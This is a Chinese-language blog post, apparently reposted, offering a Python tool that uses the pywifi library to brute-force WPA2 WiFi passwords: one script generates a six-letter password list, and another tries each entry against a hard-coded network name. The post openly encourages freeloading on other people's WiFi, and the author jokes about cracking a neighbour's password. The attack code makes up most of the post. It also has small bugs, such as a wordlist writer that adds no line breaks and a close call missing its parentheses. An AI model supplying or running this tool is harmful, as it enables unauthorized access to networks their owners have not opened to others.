前言
不會(huì)吧不會(huì)吧,流量都這么便宜了不會(huì)還有人在蹭別人家WIFI吧??
但是也可以理解哈,試問(wèn)誰(shuí)還沒(méi)有經(jīng)歷過(guò)這種時(shí)光那?就算是我,也曾經(jīng)有過(guò)蹲在別人家大門
口蹭WIFi的事兒。這都是成長(zhǎng)道路中不可避免的一環(huán)。畢竟免費(fèi)的誰(shuí)不想白嫖呢?
今天,我就為大家隆重介紹一款WIFI免費(fèi)白嫖工具,他是一款真正意義上的工具哦!?快來(lái)快來(lái)
所有文章完整的素材+源碼都在????
粉絲白嫖源碼福利,請(qǐng)移步至CSDN社區(qū)或文末公眾hao即可免費(fèi)。
正文
環(huán)境安裝——?
Python3、 Pycharm 、pywifi、部分自帶模塊就不展示 啦。?
(如需安 裝包、激活碼等直接 私信我即可安裝問(wèn)題解答都可以的哈~)?
?第三方庫(kù)的安裝:?
pip install pywifi
帶鏡像源 pip install -i https://pypi.douban.com/simple/ +模塊名?
?代碼展示——
生成密碼本:
import itertools as its
words = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
r = its.product(words, repeat=6)
dic = open("passwords.txt", "w")
for i in r:
dic.write("".join(i))
dic.close
??主程序:
import time #時(shí)間
import pywifi #破解wifi
from pywifi import const #引用一些定義
from asyncio.tasks import sleep
class PoJie():
def __init__(self,path):
self.file=open(path,"r",errors="ignore")
wifi = pywifi.PyWiFi() #抓取網(wǎng)卡接口
self.iface = wifi.interfaces()[0]#抓取第一個(gè)無(wú)限網(wǎng)卡
self.iface.disconnect() #測(cè)試鏈接斷開(kāi)所有鏈接
time.sleep(1) #休眠1秒
#測(cè)試網(wǎng)卡是否屬于斷開(kāi)狀態(tài),
assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def readPassWord(self):
print("開(kāi)始破解:")
while True:
try:
myStr =self.file.readline()
if not myStr:
break
bool1=self.test_connect(myStr)
if bool1:
print("密碼正確:",myStr)
break
else:
print("密碼錯(cuò)誤:"+myStr)
sleep(3)
except:
continue
def test_connect(self,findStr):#測(cè)試鏈接
profile = pywifi.Profile() #創(chuàng)建wifi鏈接文件
profile.ssid = "e2" #wifi名稱
profile.auth = const.AUTH_ALG_OPEN #網(wǎng)卡的開(kāi)放,
profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP #加密單元
profile.key = findStr #密碼
self.iface.remove_all_network_profiles() #刪除所有的wifi文件
tmp_profile = self.iface.add_network_profile(profile)#設(shè)定新的鏈接文件
self.iface.connect(tmp_profile)#鏈接
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: #判斷是否連接上
isOK=True
else:
isOK=False
self.iface.disconnect() #斷開(kāi)
time.sleep(1)
#檢查斷開(kāi)狀態(tài)
assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def __del__(self):
self.file.close()
path=r"I:/Program Files/Python37/Scripts/Python Programs/Python學(xué)習(xí)/破解wifi密碼/passwords.txt"
start=PoJie(path)
start.readPassWord()
?總結(jié)
這款工具效率雖然不高,但是確實(shí)很腳踏實(shí)地?。?duì)不對(duì)?!好了不說(shuō)了,我去破解鄰居家密
碼去了,哈哈哈。
?完整的素材源碼等:可以滴滴我吖!或者點(diǎn)擊文末hao自取免費(fèi)拿的哈~
??往期推薦閱讀——
項(xiàng)目0.4?【Tkinter界面化小程序】用Python做一款免費(fèi)音樂(lè)下載器、無(wú)廣告無(wú)彈窗、清爽超流暢哦
項(xiàng)目0.5??【Python爬蟲系列】淺嘗一下爬蟲40例實(shí)戰(zhàn)教程+源代碼【基礎(chǔ)+進(jìn)階】
項(xiàng)目0.7??【Python爬蟲實(shí)戰(zhàn)】 不生產(chǎn)小說(shuō),只做網(wǎng)站的搬運(yùn)工,太牛逼了~(附源碼)
項(xiàng)目0.8??【Python實(shí)戰(zhàn)】再分享一款商品秒殺小工具,我已經(jīng)把壓箱底的寶貝拿出來(lái)啦~
??文章匯總——
Python文章合集 | (入門到實(shí)戰(zhàn)、游戲、Turtle、案例等)
(文章匯總還有更多你案例等你來(lái)學(xué)習(xí)啦~源碼找我即可免費(fèi)!)文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-617744.html
文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-617744.html
到了這里,關(guān)于【Python實(shí)戰(zhàn)】WIFI密碼小工具,甩萬(wàn)能鑰匙十條街,WIFI任意連哦~(附源碼)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!